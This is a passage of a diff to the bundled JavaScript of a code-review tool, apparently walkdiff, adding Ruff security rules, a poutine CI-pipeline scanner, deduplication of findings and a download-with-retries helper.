+ url: violation.url ?? void 0,
6968
+ path: pathInScanRoot(root, violation.filename),
6969
+ line: violation.location.row,
6970
+ endLine: violation.end_location.row
6971
+ }];
6972
+ });
6973
+ }
6974
+ function ruffDetail(violation) {
6975
+ return `Reported by Ruff, rule ${violation.code}.${violation.url === void 0 ? "" : ` See ${violation.url}.`}`;
6976
+ }
6977
+ function parseRuffOutput(stdout, root) {
6978
+ return readRuffViolations(stdout, root).map((violation) => ({
6979
+ ruleId: `ruff.${violation.code}`,
6980
+ category: RiskCategory.CodeQuality,
6981
+ severity: LIKELY_BUG_PREFIXES.some((prefix) => violation.code.startsWith(prefix)) ? RiskSeverity.Medium : RiskSeverity.Low,
6982
+ title: violation.title,
6983
+ detail: ruffDetail(violation),
6984
+ path: violation.path,
6985
+ line: violation.line,
6986
+ endLine: violation.endLine,
6987
+ showLine: true
6988
+ }));
6989
+ }
6990
+ // packages/engine/src/risk/scanners/ruffSecurity.ts
6991
+ const RUFF_SECURITY_RULE_PREFIX = "ruff-security.";
6992
+ /**
6993
+ * Ruff's port of Bandit (its `S` rules), limited to the ones that point at a real weakness. Left
6994
+ * out because they fire on ordinary code far more often than on a problem: `assert` (S101),
6995
+ * binding to all interfaces (S104), password-like strings (S105-S107, which gitleaks and the
6996
+ * built-in secret rules cover better), `/tmp` paths (S108), swallowed exceptions (S110, S112),
6997
+ * missing request timeouts (S113), `random` (S311), XML parsers (S313-S320, safe against entity
6998
+ * expansion attacks since Python 3.7.1), every `urlopen` (S310), paramiko's `exec_command` (S601),
6999
+ * any subprocess call (S603, S606, S607), suspicious imports (S4xx), and any use of Mako (S702).
7000
+ *
7001
+ * None is rated high: Ruff matches a pattern in one file without tracing where the data came
7002
+ * from, so it can't tell an attacker-controlled argument from a constant. Semgrep's taint rules
7003
+ * can, which is why its finding wins when both report the same line.
7004
+ */
7005
+ const RULE_SEVERITIES = /* @__PURE__ */ new Map([
7006
+ ["S102", RiskSeverity.Medium],
7007
+ ["S103", RiskSeverity.Low],
7008
+ ["S201", RiskSeverity.Medium],
7009
+ ["S202", RiskSeverity.Medium],
7010
+ ["S301", RiskSeverity.Medium],
7011
+ ["S302", RiskSeverity.Medium],
7012
+ ["S303", RiskSeverity.Low],
7013
+ ["S304", RiskSeverity.Low],
7014
+ ["S305", RiskSeverity.Low],
7015
+ ["S306", RiskSeverity.Low],
7016
+ ["S307", RiskSeverity.Medium],
7017
+ ["S308", RiskSeverity.Low],
7018
+ ["S323", RiskSeverity.Medium],
7019
+ ["S324", RiskSeverity.Low],
7020
+ ["S501", RiskSeverity.Medium],
7021
+ ["S502", RiskSeverity.Medium],
7022
+ ["S503", RiskSeverity.Medium],
7023
+ ["S505", RiskSeverity.Low],
7024
+ ["S506", RiskSeverity.Medium],
7025
+ ["S507", RiskSeverity.Medium],
7026
+ ["S508", RiskSeverity.Low],
7027
+ ["S509", RiskSeverity.Low],
7028
+ ["S602", RiskSeverity.Medium],
7029
+ ["S604", RiskSeverity.Medium],
7030
+ ["S605", RiskSeverity.Medium],
7031
+ ["S608", RiskSeverity.Medium],
7032
+ ["S609", RiskSeverity.Medium],
7033
+ ["S610", RiskSeverity.Medium],
7034
+ ["S611", RiskSeverity.Medium],
7035
+ ["S612", RiskSeverity.Medium],
7036
+ ["S701", RiskSeverity.Medium],
7037
+ ["S704", RiskSeverity.Medium]
7038
+ ]);
7039
+ function ruffSecurityArgs() {
7040
+ return ruffCheckArgs([...RULE_SEVERITIES.keys()]);
7041
+ }
7042
+ /** Test code doesn't run in production, and loading fixtures with pickle or YAML is routine there. */
7043
+ function parseRuffSecurityOutput(stdout, root) {
7044
+ return readRuffViolations(stdout, root).flatMap((violation) => {
7045
+ const severity = RULE_SEVERITIES.get(violation.code);
7046
+ if (severity === void 0 || isTestPath(violation.path)) return [];
7047
+ return [{
7048
+ ruleId: `${RUFF_SECURITY_RULE_PREFIX}${violation.code}`,
7049
+ category: RiskCategory.CodeScan,
7050
+ severity,
7051
+ title: violation.title,
7052
+ detail: ruffDetail(violation),
7053
+ path: violation.path,
7054
+ line: violation.line,
7055
+ endLine: violation.endLine,
7056
+ showLine: true
7057
+ }];
7058
+ });
7059
+ }
7060
+ // packages/engine/src/risk/repeatedFindings.ts
7061
+ /** Drops findings that only repeat another check's finding on the same line. */
7062
+ function withoutRepeatedFindings(findings) {
7063
+ return withoutRuffRepeats(withoutRepeatedSecrets(findings));
7064
+ }
7065
+ function withoutRepeatedSecrets(findings) {
7066
+ const seen = /* @__PURE__ */ new Set();
7067
+ return findings.filter((finding) => {
7068
+ if (finding.category !== RiskCategory.Secret || finding.location === null) return true;
7069
+ const key = `${finding.location.path}\0${finding.location.line}`;
7070
+ if (seen.has(key)) return false;
7071
+ seen.add(key);
7072
+ return true;
7073
+ });
7074
+ }
7075
+ /**
7076
+ * Ruff's security rules overlap the built-in Python rules and Semgrep's defaults almost entirely
7077
+ * (`shell=True`, `yaml.load`, `pickle`, `eval`, `verify=False`), so where either flagged the line,
7078
+ * Ruff's finding is dropped. The others are kept because the built-in rules skip comments and
7079
+ * strings, and Semgrep's rules can trace data flow. Ruff's earn their place offline, when Semgrep
7080
+ * can't run, and on the rules the built-in ones don't have.
7081
+ */
7082
+ function withoutRuffRepeats(findings) {
7083
+ const isRuff = (finding) => finding.ruleId.startsWith(RUFF_SECURITY_RULE_PREFIX);
7084
+ const flaggedByOthers = new Set(findings.filter((finding) => !isRuff(finding) && isCodeFinding(finding)).flatMap((finding) => lineKey(finding) ?? []));
7085
+ return findings.filter((finding) => {
7086
+ const key = lineKey(finding);
7087
+ return !isRuff(finding) || key === void 0 || !flaggedByOthers.has(key);
7088
+ });
7089
+ }
7090
+ function isCodeFinding(finding) {
7091
+ return finding.category === RiskCategory.CodeScan || finding.category === RiskCategory.DangerousApi;
7092
+ }
7093
+ function lineKey(finding) {
7094
+ return finding.location === null || finding.location.line === null ? void 0 : `${finding.location.path}\0${finding.location.line}`;
5611
7095
  }
5612
7096
  // packages/engine/src/risk/scanners/gitleaks.ts
5613
7097
  const GITLEAKS_BINARY = "gitleaks";
@@ -5655,13 +7139,13 @@ function parseGitleaksReport(report) {
5655
7139
  // packages/engine/src/risk/scanners/zizmor.ts
5656
7140
  const ZIZMOR_BINARY = "zizmor";
5657
7141
  const ZIZMOR_CONFIG_FILE = "zizmor-config.yml";
5658
- const SEVERITIES = {
7142
+ const SEVERITIES$1 = {
5659
7143
  High: RiskSeverity.High,
5660
7144
  Medium: RiskSeverity.Medium,
5661
7145
  Low: RiskSeverity.Low,
5662
7146
  Informational: RiskSeverity.Low
5663
7147
  };
5664
- const SEVERITY_OVERRIDES = { "unpinned-uses": RiskSeverity.Medium };
7148
+ const SEVERITY_OVERRIDES$1 = { "unpinned-uses": RiskSeverity.Medium };
5665
7149
  const zizmorOutputSchema = z.array(z.object({
5666
7150
  ident: z.string(),
5667
7151
  desc: z.string(),
@@ -5705,7 +7189,7 @@ function parseZizmorOutput(stdout, root) {
5705
7189
  return [{
5706
7190
  ruleId: `zizmor.${finding.ident}`,
5707
7191
  category: RiskCategory.CodeScan,
5708
- severity: SEVERITY_OVERRIDES[finding.ident] ?? SEVERITIES[finding.determinations.severity] ?? RiskSeverity.Medium,
7192
+ severity: SEVERITY_OVERRIDES$1[finding.ident] ?? SEVERITIES$1[finding.determinations.severity] ?? RiskSeverity.Medium,
5709
7193
  title: finding.ident.replaceAll("-", " "),
5710
7194
  detail: `${finding.desc}. Reported by zizmor.${finding.url === void 0 ? "" : ` See ${finding.url}.`}`,
5711
7195
  path: pathInScanRoot(root, primary.symbolic.key.Local.verbatim_path),
@@ -5715,6 +7199,83 @@ function parseZizmorOutput(stdout, root) {
5715
7199
  }];
5716
7200
  });
5717
7201
  }
7202
+ // packages/engine/src/risk/scanners/poutine.ts
7203
+ const POUTINE_BINARY = "poutine";
7204
+ const POUTINE_CONFIG_FILE = "poutine-config.yml";
7205
+ const POUTINE_RULE_PREFIX = "poutine.";
7206
+ const SEVERITIES = {
7207
+ error: RiskSeverity.High,
7208
+ warning: RiskSeverity.Medium,
7209
+ note: RiskSeverity.Low
7210
+ };
7211
+ const SEVERITY_OVERRIDES = {
7212
+ unverified_script_exec: RiskSeverity.Medium,
7213
+ debug_enabled: RiskSeverity.Medium
7214
+ };
7215
+ const poutineOutputSchema = z.object({
7216
+ findings: z.array(z.object({
7217
+ rule_id: z.string(),
7218
+ meta: z.object({
7219
+ path: z.string().optional(),
7220
+ line: z.number().int().optional(),
7221
+ details: z.string().optional()
7222
+ }).loose()
7223
+ }).loose()).nullable(),
7224
+ rules: z.record(z.string(), z.object({
7225
+ title: z.string(),
7226
+ description: z.string(),
7227
+ level: z.string()
7228
+ }).loose())
7229
+ }).loose();
7230
+ /**
7231
+ * Our own `--config` means a `.poutine.yml` in the change can't skip rules, and the version check
7232
+ * is the only network call poutine makes on a local folder.
7233
+ */
7234
+ function poutineArgs(configPath) {
7235
+ return [
7236
+ "analyze_local",
7237
+ ".",
7238
+ "--format",
7239
+ "json",
7240
+ "--quiet",
7241
+ "--disable-version-check",
7242
+ "--config",
7243
+ configPath
7244
+ ];
7245
+ }
7246
+ /** `texts` holds each scanned file by path, to place findings poutine reports without a line. */
7247
+ function parsePoutineOutput(stdout, root, texts) {
7248
+ const output = poutineOutputSchema.parse(JSON.parse(stdout));
7249
+ return (output.findings ?? []).flatMap((finding) => {
7250
+ if (finding.meta.path === void 0) return [];
7251
+ const path = pathInScanRoot(root, finding.meta.path);
7252
+ const line = finding.meta.line ?? lineMentioning(texts.get(path), finding.meta.details);
7253
+ if (line === void 0) return [];
7254
+ const rule = output.rules[finding.rule_id];
7255
+ const description = rule?.description.replaceAll("\n", " ").trim();
7256
+ return [{
7257
+ ruleId: `${POUTINE_RULE_PREFIX}${finding.rule_id}`,
7258
+ category: RiskCategory.CodeScan,
7259
+ severity: SEVERITY_OVERRIDES[finding.rule_id] ?? SEVERITIES[rule?.level ?? ""] ?? RiskSeverity.Medium,
7260
+ title: rule?.title ?? finding.rule_id.replaceAll("_", " "),
7261
+ detail: [
7262
+ finding.meta.details === void 0 ? void 0 : `${finding.meta.details}.`,
7263
+ description,
7264
+ "Reported by poutine."
7265
+ ].filter((part) => part !== void 0).join(" "),
7266
+ path,
7267
+ line,
7268
+ endLine: line,
7269
+ showLine: true
7270
+ }];
7271
+ });
7272
+ }
7273
+ function lineMentioning(text, details) {
7274
+ if (text === void 0 || details === void 0) return void 0;
7275
+ const names = details.split(/\s+/).filter((name) => name !== "");
7276
+ const index = text.split("\n").findIndex((line) => names.some((name) => line.includes(name)));
7277
+ return index === -1 ? void 0 : index + 1;
7278
+ }
5718
7279
  // packages/engine/src/risk/scanners/semgrep.ts
5719
7280
  const SEMGREP_BINARY$1 = "semgrep";
5720
7281
  const semgrepOutputSchema = z.object({ results: z.array(z.object({
@@ -5781,6 +7342,12 @@ const ZIZMOR_CHECK = "zizmor GitHub Actions scan";
5781
7342
  const ZIZMOR_INSTALL = "not installed. Run `walkdiff setup`, or use `brew install zizmor`";
5782
7343
  const WORKFLOW_FILE = /(^|\/)(\.github\/workflows\/[^/]+\.ya?ml|action\.ya?ml)$/;
5783
7344
  const GITLEAKS_INSTALL = "not installed. Run `walkdiff setup`, or use `brew install gitleaks`";
7345
+ const RUFF_SECURITY_CHECK = "Ruff security rules";
7346
+ const RUFF_INSTALL = "not installed. Run `walkdiff setup`, or use `brew install ruff`";
7347
+ const PYTHON_FILE = /\.pyi?$/;
7348
+ const POUTINE_CHECK = "poutine CI pipeline scan";
7349
+ const POUTINE_INSTALL = "not installed. Run `walkdiff setup`, or use `brew install poutine`";
7350
+ const PIPELINE_ROOT_DIR = "pipelines";
5784
7351
  const SEMGREP_SUCCESS_EXIT_CODE = 0;
5785
7352
  const GITLEAKS_REPORT_FILE = "gitleaks-report.json";
5786
7353
  const SCAN_ROOT_DIR = "files";
@@ -5799,6 +7366,8 @@ const SCANNER_CONTROL_FILES = /* @__PURE__ */ new Set([
5799
7366
  ".semgrep.yaml",
5800
7367
  ".semgrepconfig.yml",
5801
7368
  "zizmor.yml",
7369
+ ".poutine.yml",
7370
+ "poutine.yml",
5802
7371
  ".gitignore"
5803
7372
  ]);
5804
7373
  const EMPTY_IGNORE_FILE = ".semgrepignore";
@@ -5813,7 +7382,7 @@ async function runCodeScanners(request) {
5813
7382
  checksRun: [],
5814
7383
  notChecked: []
5815
7384
  };
5816
- const workspace = await mkdtemp(join(tmpdir(), "walkdiff-scan-"));
7385
+ const workspace = await realpath(await mkdtemp(join(tmpdir(), "walkdiff-scan-")));
5817
7386
  try {
5818
7387
  const root = join(workspace, SCAN_ROOT_DIR);
5819
7388
  await mkdir(root, { recursive: true });
@@ -5822,7 +7391,9 @@ async function runCodeScanners(request) {
5822
7391
  const outcomes = await Promise.all([
5823
7392
  runSemgrep(request, root),
5824
7393
  runGitleaks(request, root, workspace),
5825
- runZizmor(request, root, workspace)
7394
+ runZizmor(request, root, workspace),
7395
+ runRuffSecurity(request, root),
7396
+ runPoutine(request, workspace)
5826
7397
  ]);
5827
7398
  return {
5828
7399
  findings: toRisks(outcomes.flatMap((outcome) => outcome.findings), candidates),
@@ -5890,6 +7461,63 @@ async function runZizmor(request, root, workspace) {
5890
7461
  return notRun(ZIZMOR_CHECK, `its output could not be read: ${error instanceof Error ? error.message : String(error)}`);
5891
7462
  }
5892
7463
  }
7464
+ /**
7465
+ * poutine gets its own folder: it needs the GitLab CI files the change includes, not only the
7466
+ * changed ones, and none of GitHub's workflows, which zizmor checks in more depth.
7467
+ */
7468
+ async function runPoutine(request, workspace) {
7469
+ const pipeline = request.pipelineFiles ?? [];
7470
+ if (pipeline.length === 0) return {
7471
+ findings: [],
7472
+ checksRun: [],
7473
+ notChecked: []
7474
+ };
7475
+ if (request.disabled?.has(CheckId.Poutine)) return notRun(POUTINE_CHECK, TURNED_OFF_IN_SETTINGS);
7476
+ const root = join(workspace, PIPELINE_ROOT_DIR);
7477
+ await mkdir(root, { recursive: true });
7478
+ await writeScanFiles(root, pipeline);
7479
+ const configPath = join(workspace, POUTINE_CONFIG_FILE);
7480
+ await writeFile(configPath, "{}\n");
7481
+ const result = await request.run(POUTINE_BINARY, poutineArgs(configPath), root);
7482
+ if (result === void 0) return notRun(POUTINE_CHECK, POUTINE_INSTALL);
7483
+ if (result.exitCode !== 0) return notRun(POUTINE_CHECK, `it failed: ${firstErrorLine(result)}`);
7484
+ try {
7485
+ const texts = new Map(pipeline.map((file) => [file.path, file.text]));
7486
+ return {
7487
+ findings: parsePoutineOutput(result.stdout, root, texts),
7488
+ checksRun: [{
7489
+ name: "poutine",
7490
+ detail: "GitLab CI, Azure Pipelines and Tekton"
7491
+ }],
7492
+ notChecked: []
7493
+ };
7494
+ } catch (error) {
7495
+ return notRun(POUTINE_CHECK, `its output could not be read: ${error instanceof Error ? error.message : String(error)}`);
7496
+ }
7497
+ }
7498
+ async function runRuffSecurity(request, root) {
7499
+ if (!request.files.some((file) => PYTHON_FILE.test(file.diff.path) && file.after !== void 0)) return {
7500
+ findings: [],
7501
+ checksRun: [],
7502
+ notChecked: []
7503
+ };
7504
+ if (request.disabled?.has(CheckId.Ruff)) return notRun(RUFF_SECURITY_CHECK, TURNED_OFF_IN_SETTINGS);
7505
+ const result = await request.run(RUFF_BINARY, ruffSecurityArgs(), root);
7506
+ if (result === void 0) return notRun(RUFF_SECURITY_CHECK, RUFF_INSTALL);
7507
+ if (result.exitCode !== 0) return notRun(RUFF_SECURITY_CHECK, `it failed: ${firstErrorLine(result)}`);
7508
+ try {
7509
+ return {
7510
+ findings: parseRuffSecurityOutput(result.stdout, root),
7511
+ checksRun: [{
7512
+ name: RUFF_SECURITY_CHECK,
7513
+ detail: "Bandit's rules for Python, outside tests"
7514
+ }],
7515
+ notChecked: []
7516
+ };
7517
+ } catch (error) {
7518
+ return notRun(RUFF_SECURITY_CHECK, `its output could not be read: ${error instanceof Error ? error.message : String(error)}`);
7519
+ }
7520
+ }
5893
7521
  async function runGitleaks(request, root, workspace) {
5894
7522
  if (request.disabled?.has(CheckId.Gitleaks)) return notRun(GITLEAKS_CHECK, TURNED_OFF_IN_SETTINGS);
5895
7523
  const reportPath = join(workspace, GITLEAKS_REPORT_FILE);
@@ -5997,55 +7625,6 @@ function parseOxlintOutput(stdout, root) {
5997
7625
  }];
5998
7626
  });
5999
7627
  }
6000
- // packages/engine/src/risk/scanners/ruff.ts
6001
- const RUFF_BINARY = "ruff";
6002
- const SELECTED_RULES = "F,B,E7,E9";
6003
- const LIKELY_BUG_PREFIXES = [
6004
- "F82",
6005
- "F63",
6006
- "F7",
6007
- "B",
6008
- "E9"
6009
- ];
6010
- const ruffOutputSchema = z.array(z.object({
6011
- code: z.string().nullable(),
6012
- name: z.string().optional(),
6013
- filename: z.string(),
6014
- location: z.object({ row: z.number().int() }),
6015
- end_location: z.object({ row: z.number().int() }),
6016
- url: z.string().nullable().optional()
6017
- }));
6018
- /** `--isolated` ignores every Ruff config file, so the rules are the same for any repository. */
6019
- function ruffArgs() {
6020
- return [
6021
- "check",
6022
- "--isolated",
6023
- "--output-format",
6024
- "json",
6025
- "--no-cache",
6026
- "--exit-zero",
6027
- "--select",
6028
- SELECTED_RULES,
6029
- "."
6030
- ];
6031
- }
6032
- function parseRuffOutput(stdout, root) {
6033
- return ruffOutputSchema.parse(JSON.parse(stdout)).flatMap((violation) => {
6034
- if (violation.code === null) return [];
6035
- const code = violation.code;
6036
- return [{
6037
- ruleId: `ruff.${code}`,
6038
- category: RiskCategory.CodeQuality,
6039
- severity: LIKELY_BUG_PREFIXES.some((prefix) => code.startsWith(prefix)) ? RiskSeverity.Medium : RiskSeverity.Low,
6040
- title: (violation.name ?? code).replaceAll("-", " "),
6041
- detail: `Reported by Ruff, rule ${code}.${violation.url ? ` See ${violation.url}.` : ""}`,
6042
- path: pathInScanRoot(root, violation.filename),
6043
- line: violation.location.row,
6044
- endLine: violation.end_location.row,
6045
- showLine: true
6046
- }];
6047
- });
6048
- }
6049
7628
  // packages/engine/src/risk/scanners/runQualityScanners.ts
6050
7629
  /**
6051
7630
  * Only source files are ever copied into a scan folder, so a config file in the PR (`ruff.toml`,
@@ -6309,25 +7888,9 @@ const SEVERITY_RANK = {
6309
7888
  [RiskSeverity.Medium]: 1,
6310
7889
  [RiskSeverity.Low]: 2
6311
7890
  };
6312
- const UNCOVERED_CODE_EXTENSIONS = /* @__PURE__ */ new Set([
6313
- ".go",
6314
- ".java",
6315
- ".kt",
6316
- ".rb",
6317
- ".php",
6318
- ".cs",
6319
- ".c",
6320
- ".cc",
6321
- ".cpp",
6322
- ".h",
6323
- ".hpp",
6324
- ".swift",
6325
- ".scala",
6326
- ".sh"
6327
- ]);
6328
7891
  const BUILT_IN_CHECK = {
6329
7892
  name: "Built-in rules",
6330
- detail: "secrets, risky APIs and sensitive paths"
7893
+ detail: "secrets, risky APIs, sensitive paths and GitLab CI"
6331
7894
  };
6332
7895
  const BREAKING_CHANGE_CHECK = {
6333
7896
  name: "Breaking changes",
@@ -6362,12 +7925,14 @@ async function assessRisk(request) {
6362
7925
  allowedLicenses: config.dependencies.allowedLicenses ?? void 0
6363
7926
  });
6364
7927
  request.reportStep(AnalysisStep.ScanningCode);
7928
+ const pipelineFiles = await readPipelineFiles(scanned, (paths) => readHeadTexts(request, paths));
6365
7929
  const codeScan = await runCodeScanners({
6366
7930
  files: scanned,
6367
7931
  semgrepRules: config.scanners.semgrep.rules,
6368
7932
  network: request.network,
6369
7933
  run: request.runScanner,
6370
- disabled: request.disabledChecks
7934
+ disabled: request.disabledChecks,
7935
+ pipelineFiles
6371
7936
  });
6372
7937
  request.reportStep(AnalysisStep.CheckingQuality);
6373
7938
  const quality = config.quality.enabled ? await assessQuality(request, scanned, config) : {
@@ -6384,10 +7949,11 @@ async function assessRisk(request) {
6384
7949
  scanned,
6385
7950
  versions: request.versions
6386
7951
  });
6387
- const findings = withoutRepeatedSecrets([
7952
+ const findings = withoutRepeatedFindings([
6388
7953
  ...scanSecrets(scanned),
6389
7954
  ...await scanDangerousApis(scanned),
6390
7955
  ...scanSensitivePaths(scanned, config),
7956
+ ...scanGitlabCi(scanned, pipelineFiles),
6391
7957
  ...codeScan.findings,
6392
7958
  ...dependencies.findings,
6393
7959
  ...reviewSignals(request.files),
@@ -6435,15 +8001,11 @@ async function assessQuality(request, scanned, config) {
6435
8001
  checksRun: [FUNCTION_METRICS_CHECK, ...scanners.checksRun]
6436
8002
  };
6437
8003
  }
6438
- function withoutRepeatedSecrets(findings) {
6439
- const seen = /* @__PURE__ */ new Set();
6440
- return findings.filter((finding) => {
6441
- if (finding.category !== RiskCategory.Secret || finding.location === null) return true;
6442
- const key = `${finding.location.path}\0${finding.location.line}`;
6443
- if (seen.has(key)) return false;
6444
- seen.add(key);
6445
- return true;
6446
- });
8004
+ async function readHeadTexts(request, paths) {
8005
+ return (await readBlobs(request.repoDir, paths.map((path) => ({
8006
+ commit: request.head,
8007
+ path
8008
+ })))).map((blob) => blob?.toString("utf8"));
6447
8009
  }
6448
8010
  function securityLevelOf(findings) {
6449
8011
  const security = securityFindings(findings);
@@ -6457,18 +8019,7 @@ function coverageGaps(files, ignoredCount) {
6457
8019
  check: `Risk rules on ${ignoredCount} ${ignoredCount === 1 ? "file" : "files"}`,
6458
8020
  reason: `excluded by "ignore" in ${WALKDIFF_CONFIG_PATH}`
6459
8021
  });
6460
- const uncovered = [...new Set(files.map((file) => extname(file.diff.path)).filter((extension) => UNCOVERED_CODE_EXTENSIONS.has(extension)))];
6461
- if (uncovered.length > 0) {
6462
- gaps.push({
6463
- check: `Dangerous-API rules for ${uncovered.join(", ")} files`,
6464
- reason: "rules exist only for Rust, TypeScript/JavaScript and Python"
6465
- });
6466
- gaps.push({
6467
- check: `Public API checks for ${uncovered.join(", ")} files`,
6468
- reason: "they read syntax, which the engine parses only for Rust, TypeScript/JavaScript and Python"
6469
- });
6470
- }
6471
- return gaps;
8022
+ return [...gaps, ...languageGaps(files.map((file) => file.diff.path))];
6472
8023
  }
6473
8024
  function byImportance(a, b) {
6474
8025
  return SEVERITY_RANK[a.severity] - SEVERITY_RANK[b.severity] || Number(isSecurityFinding(b)) - Number(isSecurityFinding(a)) || (a.location?.path ?? "").localeCompare(b.location?.path ?? "") || (a.location?.line ?? 0) - (b.location?.line ?? 0);
@@ -6560,8 +8111,8 @@ function compareUnits(files) {
6560
8111
  change: {
6561
8112
  kind: UnitChangeKind.Renamed,
6562
8113
  previousName: from.definition.name,
6563
- before: from.definition.snapshot,
6564
- after: to.definition.snapshot
8114
+ before: from.definition.wholeSnapshot,
8115
+ after: to.definition.wholeSnapshot
6565
8116
  }
6566
8117
  });
6567
8118
  for (const [from, to] of takeMatches(removed, added, isMove)) reportMove(report, from, to, MoveEdits.None);
@@ -6570,14 +8121,14 @@ function compareUnits(files) {
6570
8121
  ...describe(definition),
6571
8122
  change: {
6572
8123
  kind: UnitChangeKind.Added,
6573
- after: definition.snapshot
8124
+ after: definition.wholeSnapshot
6574
8125
  }
6575
8126
  });
6576
8127
  for (const { path, definition } of removed) report(path, {
6577
8128
  ...describe(definition),
6578
8129
  change: {
6579
8130
  kind: UnitChangeKind.Removed,
6580
- before: definition.snapshot
8131
+ before: definition.wholeSnapshot
6581
8132
  }
6582
8133
  });
6583
8134
  for (const units of unitsByPath.values()) units.sort(byPositionInFile);
@@ -6597,7 +8148,7 @@ function reportMove(report, from, to, edits) {
6597
8148
  kind: UnitChangeKind.MovedOut,
6598
8149
  to: locationOf(to),
6599
8150
  edited,
6600
- before: before.snapshot
8151
+ before: before.wholeSnapshot
6601
8152
  }
6602
8153
  });
6603
8154
  report(to.path, {
@@ -6607,8 +8158,8 @@ function reportMove(report, from, to, edits) {
6607
8158
  kind: UnitChangeKind.MovedIn,
6608
8159
  from: locationOf(from),
6609
8160
  edited,
6610
- before: before.snapshot,
6611
- after: after.snapshot
8161
+ before: before.wholeSnapshot,
8162
+ after: after.wholeSnapshot
6612
8163
  }
6613
8164
  });
6614
8165
  }
@@ -6808,9 +8359,18 @@ function previousMetrics(definition, beforeByKey, beforeByBody) {
6808
8359
  const NOT_CALLABLE = /* @__PURE__ */ new Set([
6809
8360
  UnitKind.ModuleScope,
6810
8361
  UnitKind.Impl,
6811
- UnitKind.Module
8362
+ UnitKind.Module,
8363
+ UnitKind.TestSuite,
8364
+ UnitKind.Test,
8365
+ UnitKind.TestHook
8366
+ ]);
8367
+ const CODE_KINDS = /* @__PURE__ */ new Set([
8368
+ UnitKind.Function,
8369
+ UnitKind.Method,
8370
+ UnitKind.TestSuite,
8371
+ UnitKind.Test,
8372
+ UnitKind.TestHook
6812
8373
  ]);
6813
- const FUNCTION_KINDS = /* @__PURE__ */ new Set([UnitKind.Function, UnitKind.Method]);
6814
8374
  const RUST_PATH_SEPARATOR = "::";
6815
8375
  const ReadingGroup = {
6816
8376
  ModuleScope: 0,
@@ -6887,7 +8447,7 @@ function orderUnits(units, calls) {
6887
8447
  function readingGroup(unit) {
6888
8448
  if (unit.kind === UnitKind.ModuleScope) return ReadingGroup.ModuleScope;
6889
8449
  if (!isBehaviourChange(unit.change)) return ReadingGroup.Quiet;
6890
- return FUNCTION_KINDS.has(unit.kind) ? ReadingGroup.Functions : ReadingGroup.Definitions;
8450
+ return CODE_KINDS.has(unit.kind) ? ReadingGroup.Functions : ReadingGroup.Definitions;
6891
8451
  }
6892
8452
  /** `Other::new` is not a call to `Size::new`, though both are named `new`. */
6893
8453
  function pathNamesAnotherType(call, callee) {
@@ -7551,6 +9111,7 @@ const SCANNER_BINARIES = [
7551
9111
  OSV_SCANNER_BINARY,
7552
9112
  RUFF_BINARY,
7553
9113
  ZIZMOR_BINARY,
9114
+ POUTINE_BINARY,
7554
9115
  OXLINT_BINARY,
7555
9116
  JSCPD_BINARY
7556
9117
  ];
@@ -7952,6 +9513,14 @@ const CHECKS = [
7952
9513
  install: "walkdiff setup",
7953
9514
  sends: null
7954
9515
  },
9516
+ {
9517
+ id: CheckId.Poutine,
9518
+ name: "poutine",
9519
+ purpose: "Finds security problems in GitLab CI, Azure Pipelines and Tekton",
9520
+ binary: POUTINE_BINARY,
9521
+ install: "walkdiff setup",
9522
+ sends: null
9523
+ },
7955
9524
  {
7956
9525
  id: CheckId.DependencyTrust,
7957
9526
  name: "Dependency trust",
@@ -7971,7 +9540,7 @@ const CHECKS = [
7971
9540
  {
7972
9541
  id: CheckId.Ruff,
7973
9542
  name: "Ruff",
7974
- purpose: "Finds likely bugs in Python",
9543
+ purpose: "Finds likely bugs and insecure code in Python",
7975
9544
  binary: RUFF_BINARY,
7976
9545
  install: "walkdiff setup",
7977
9546
  sends: null
@@ -8014,6 +9583,78 @@ async function describeChecks(run = runScannerProcess) {
8014
9583
  function firstExisting(candidates, exists = existsSync) {
8015
9584
  return candidates.find((path) => exists(path)) ?? candidates.at(-1) ?? "";
8016
9585
  }
9586
+ // packages/engine/src/risk/scanners/downloadWithRetries.ts
9587
+ const DOWNLOAD_TIMEOUT_MS = 12e4;
9588
+ const RETRY_DELAYS_MS = [
9589
+ 2e3,
9590
+ 8e3,
9591
+ 2e4
9592
+ ];
9593
+ const TOO_MANY_REQUESTS = 429;
9594
+ const FIRST_SERVER_ERROR = 500;
9595
+ const MS_PER_SECOND = 1e3;
9596
+ const Outcome = {
9597
+ Done: "done",
9598
+ TryAgain: "tryAgain",
9599
+ Failed: "failed"
9600
+ };
9601
+ /**
9602
+ * Downloads `url`, trying again after a server error, a rate limit or a dropped connection.
9603
+ *
9604
+ * # Errors
9605
+ *
9606
+ * Rejects on any other HTTP error, on a timeout, or when the last try also fails.
9607
+ */
9608
+ async function downloadWithRetries(url, deps) {
9609
+ for (const delayMs of RETRY_DELAYS_MS) {
9610
+ const attempt = await downloadOnce(url, deps);
9611
+ if (attempt.outcome !== Outcome.TryAgain) return settled(attempt);
9612
+ deps.log(`Downloading ${url} failed (${attempt.problem}). Trying again in ${delayMs / MS_PER_SECOND} seconds.`);
9613
+ await deps.wait(delayMs);
9614
+ }
9615
+ const last = await downloadOnce(url, deps);
9616
+ if (last.outcome !== Outcome.TryAgain) return settled(last);
9617
+ throw new Error(`${url} failed ${RETRY_DELAYS_MS.length + 1} times, last with: ${last.problem}`);
9618
+ }
9619
+ function settled(attempt) {
9620
+ if (attempt.outcome === Outcome.Failed) throw attempt.error;
9621
+ return attempt.bytes;
9622
+ }
9623
+ async function downloadOnce(url, deps) {
9624
+ try {
9625
+ const response = await deps.fetch(url, { signal: AbortSignal.timeout(DOWNLOAD_TIMEOUT_MS) });
9626
+ if (isWorthRetrying(response.status)) return {
9627
+ outcome: Outcome.TryAgain,
9628
+ problem: `responded ${response.status}`
9629
+ };
9630
+ if (!response.ok) return {
9631
+ outcome: Outcome.Failed,
9632
+ error: /* @__PURE__ */ new Error(`${url} responded ${response.status}`)
9633
+ };
9634
+ return {
9635
+ outcome: Outcome.Done,
9636
+ bytes: Buffer.from(await response.arrayBuffer())
9637
+ };
9638
+ } catch (error) {
9639
+ return failedAttempt(error);
9640
+ }
9641
+ }
9642
+ function isWorthRetrying(status) {
9643
+ return status === TOO_MANY_REQUESTS || status >= FIRST_SERVER_ERROR;
9644
+ }
9645
+ function failedAttempt(error) {
9646
+ if (error instanceof TypeError) return {
9647
+ outcome: Outcome.TryAgain,
9648
+ problem: connectionProblem(error)
9649
+ };
9650
+ return {
9651
+ outcome: Outcome.Failed,
9652
+ error: error instanceof Error ? error : new Error(String(error))
9653
+ };
9654
+ }
9655
+ function connectionProblem(error) {
9656
+ return error.cause instanceof Error ? `${error.message}: ${error.cause.message}` : error.message;
9657
+ }
8017
9658
